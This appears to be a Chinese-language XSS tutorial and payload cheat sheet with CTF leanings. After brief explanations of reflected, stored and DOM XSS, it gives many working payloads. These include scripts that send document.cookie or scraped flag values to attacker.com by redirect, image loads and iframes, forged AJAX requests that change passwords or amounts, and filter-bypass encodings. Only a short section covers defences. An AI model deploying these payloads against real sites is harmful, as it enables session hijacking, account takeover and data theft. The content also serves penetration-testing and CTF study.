基础概念

XSS (Cross-Site Scripting) 是一种常见的 Web 安全漏洞,攻击者通过在网页中注入恶意脚本,使得其他用户在访问该页面时执行这些脚本。

XSS 的危害

窃取用户 Cookie
劫持用户会话
修改网页内容
钓鱼攻击
传播恶意软件

XSS 类型

反射型 XSS

恶意脚本通过 URL 参数等方式注入
服务器将恶意脚本反射回浏览器执行
通常需要用户点击特定链接才能触发

存储型 XSS

恶意脚本被永久存储在服务器上
当其他用户访问包含恶意脚本的页面时触发
影响范围更大,危害更严重

DOM 型 XSS

完全在客户端执行
不依赖服务器响应
通过修改 DOM 结构触发

Payload 集合

1. 基础 Payloads

1.1 基本弹窗

1
2
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>

1.2 闭合标签

1
2
'><script>alert('XSS')</script>
"><script>alert('XSS')</script>

1.3 事件处理器

1
2
<img src=x onerror=alert('XSS')>
<div onmouseover="alert('XSS')">hover me</div>

2. 高级攻击脚本

2.1 基础脚本标签

1
2
3
4
5
6
<!-> 基本弹窗 -->
<script>alert("hello")</script> <!-> 弹出hello -->
<script>alert(/hello/)</script> <!-> 弹出hello -->
<script>alert(1)</script> <!-> 弹出1,对于数字可以不用引号 -->
<script>alert(document.cookie)</script> <!-> 弹出cookie -->
<script src=http://xxx.com/xss.js></script> <!-> 引用外部的xss -->

2.2 数据窃取脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!-> 使用 window.location.href -->
<script>window.location.href="http://attacker.com/collect?cookie="+document.cookie</script>

<!-> 使用 document.location.href -->
<script>document.location.href="http://attacker.com/collect?cookie="+document.cookie</script>

<!-> 使用 window.open -->
<script>window.open="http://attacker.com/collect?cookie="+document.cookie</script>

<!-> 获取特定元素内容 -->
<script>window.location.href="http://attacker.com/collect?data="+document.getElementsByClassName('target-class')[0].innerHTML</script>

<!-> 使用 jQuery 选择器 -->
<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctfshow{')>-1){
window.location.href='http://attacker.com/'+value.innerHTML;
}
});</script>

<!-> 使用 jQuery 选择器(带过滤) -->
<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function (index, value) {
if ((value.innerHTML.indexOf('ctfshow{') > -1)&&(value.innerHTML.indexOf('script') === -1)) {
window.location.href = 'http://attacker.com/' +value.innerHTML;
}
});</script>

<!-> 使用 querySelector -->
<script>var img = new Image();
img.src = "http://attacker.com/"+document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;
document.body.append(img);</script>

2.3 特殊标签利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!-> SVG 标签 -->
<svg onload="alert(1)">
<svg onload="alert(1)"//
<svg onload="location.href='http://attacker.com/collect?c='+document.cookie"/>

<!-> Body 标签 -->
<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onload=location.href='http://attacker.com/collect?cookie='+document.cookie></body>
<body/**/onload=location.href='http://attacker.com/collect?cookie='+document.cookie></body>
<body/onload=location.href='http://attacker.com/collect?cookie='+document.cookie></body>

<!-> Video 标签 -->
<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />

<!-> Style 标签 -->
<style onload=alert(1)></style>

<!-> Iframe 标签 -->
<iframe onload=document.location='http://attacker.com/collect?cookie='+document.cookie>'

2.4 特殊场景 Payloads

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!-> 使用 Image 对象 -->
<script>var img = new Image();img.src = "http://attacker.com/"+document.cookie;</script>

<!-> 使用 XMLHttpRequest -->
<script>
var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://attacker.com/api/change.php', true);
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");
httpRequest.send('p=1234567');
</script>

<!-> 使用 jQuery AJAX -->
<script>$.ajax({
url:"api/amount.php",
method:"POST",
data:{'u':'1','a':''}
})</script>

<!-> 使用 jQuery AJAX 修改密码 -->
<script>$.ajax({
url:"api/change.php",
method:"POST",
data:{'p':'1717'}
})</script>

<!-> 使用 jQuery AJAX 修改金额 -->
<script>$.ajax({
url:"api/amount.php",
method:"POST",
data:{'u':'1','a':''}
})</script>

2.5 监控脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 使用 nc 监控
<script>window.open('http://attacker.com:9033/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

// 使用 jQuery 监控
<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctfshow{')>-1){
window.location.href='http://attacker.com:9033/'+value.innerHTML;
}
});</script>

// 使用 jQuery 监控(带过滤)
<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function (index, value) {
if ((value.innerHTML.indexOf('ctfshow{') > -1)&&(value.innerHTML.indexOf('script') === -1)) {
window.location.href = 'http://attacker.com:9033/' +value.innerHTML;
}
});</script>

3. 绕过技巧

3.1 标签名绕过

1
2
3
4
5
6
7
8
9
10
<!-> 大小写混淆 -->
<iMg onerror=alert(1) src=a>

<!-> 插入 NULL 字节 -->
<%00img onerror=alert(1) src=a>

<!-> 空格替代字符 -->
<img%09onerror=alert(1) src=a> <!-> Tab -->
<img%0aonerror=alert(1) src=a> <!-> 换行 -->
<img/"onerror=alert(1) src=a> <!-> 异常语法 -->

3.2 属性名绕过

1
2
<img o%00nerror=alert(1) src=a>
<imgonerror='alert(1)'src=a>

3.3 属性值编码绕过

1
2
<imgonerror=a%00lert(1) src=a>
<imgonerror=a&#x006c;ert(1) src=a>

3.4 可编码属性

URL 类型属性(支持 javascript: 协议)
1
2
3
4
href=`
`action=`
`formaction=`
`location=
资源加载类属性(支持 base64 或外链)
1
2
3
4
5
src=`
`data=`
`poster=`
`background=`
`code=
脚本执行类属性

on*= 所有以 on 开头的事件处理属性

3.5 字符集与长度限制绕过

使用非标准编码

UTF-7
US-ASCII
UTF-16

拆分跨站脚本(用于绕过长度限制)
1
2
3
4
5
6
<script>
z='<script src=';
z+='test.c';
z+='n/1.js><\/script>';
document.write(z);
</script>

执行结果为:

1
<script src=test.cn/1.js></script>
JavaScript 层面的绕过技巧
1
2
3
4
5
6
7
<!-> Unicode 编码关键字 -->
<script>a\u006cert(1)</script>
<script>eval('a\u006cert(1)')</script>

<!-> 替代点操作符 -->
<script>alert(document['cookie'])</script>
<script>with(document)alert(cookie)</script>

4. XSS 可插入位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!-> 用户输入作为 script 标签内容 -->
<script>用户输入</script>

<!-> 用户输入作为 HTML 注释 -->
<!-> 用户输入 -->
<!-> --><script>alert('hack')</script><!-> -->

<!-> 用户输入作为标签属性名 -->
<div 用户输入="xx"></div>
<div ></div><script>alert('hack')</script><div a="xx"></div>

<!-> 用户输入作为标签属性值 -->
<div id="用户输入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>

<!-> 用户输入作为标签名 -->
<用户输入 id="xx" />
<><script>alert('hack')</script><b id="xx" />

<!-> 用户输入作为 CSS 内容 -->
<style>用户输入</style>
<style></style><script>alert('hack')</script><style></style>

5. 漏洞挖掘

5.1 黑盒测试

URL 参数
表单输入
搜索框
评论系统
个人信息页面

5.2 白盒测试

检查输入处理函数
检查输出编码
检查 DOM 操作
检查 JavaScript 事件处理

5.3 常见业务场景

重灾区:评论区、留言区、个人信息、订单信息等
针对型:站内信、网页即时通讯、私信、意见反馈
存在风险:搜索框、当前目录、图片属性等

5.4 漏洞查找方法

基本验证
1
2
3
4
5
"><script>alert(document.cookie)</script>
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3e%3cscript%3ealert(document.cookie)%3c/script%3e
"><scr<script>ipt>alert(document.cookie)</scr</script>ipt>
%00"><script>alert(document.cookie)</script>
DOM 型 XSS 查找

检查以下危险的 DOM 属性和 API:

1
2
3
4
5
document.location`
`document.URL`
`document.URLUnencoded`
`document.referrer`
`window.location

检查以下危险的 JavaScript 操作:

1
2
3
4
5
document.write()` / `document.writeln()`
`document.body.innerHTML`
`eval()`
`window.execScript()`
`window.setInterval()` / `window.setTimeout()

6. 防御措施

6.1 输入验证

长度限制
字符白名单
正则表达式过滤

6.2 输出编码

HTML 实体编码
JavaScript 编码
URL 编码

6.3 安全响应头

Content-Security-Policy
X-XSS-Protection
X-Content-Type-Options

6.4 其他措施

使用 HttpOnly Cookie
实施 CSRF 令牌
使用安全的框架和库

6.5 DOM 型防御

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 输入验证
var a = document.URL;
a = a.substring(a.indexOf("message=") + 8);
a = unescape(a);
var regex = /^([A-Za-z0-9\s]+)$/;
if (regex.test(a)) {
document.write(a);
}

// 输出编码
function reinit(str) {
var d = document.createElement('div');
d.appendChild(document.createTextNode(str));
return d.innerHTML;
}

7. 实战案例

7.1 反射型 XSS 利用

1
<script>document.location.href='https://attacker.com/steal?cookie='+document.cookie</script>

7.2 存储型 XSS 利用

1
<img src="" onerror=location.href="https://attacker.com/steal?cookie="+document.cookie>

7.3 DOM 型 XSS 利用

1
2
3
4
5
6
7
<script>
$('div.layui-table-cell').each(function(index,value){
if(value.innerHTML.indexOf('flag{')>-1){
window.location.href='http://attacker.com/'+value.innerHTML;
}
});
</script>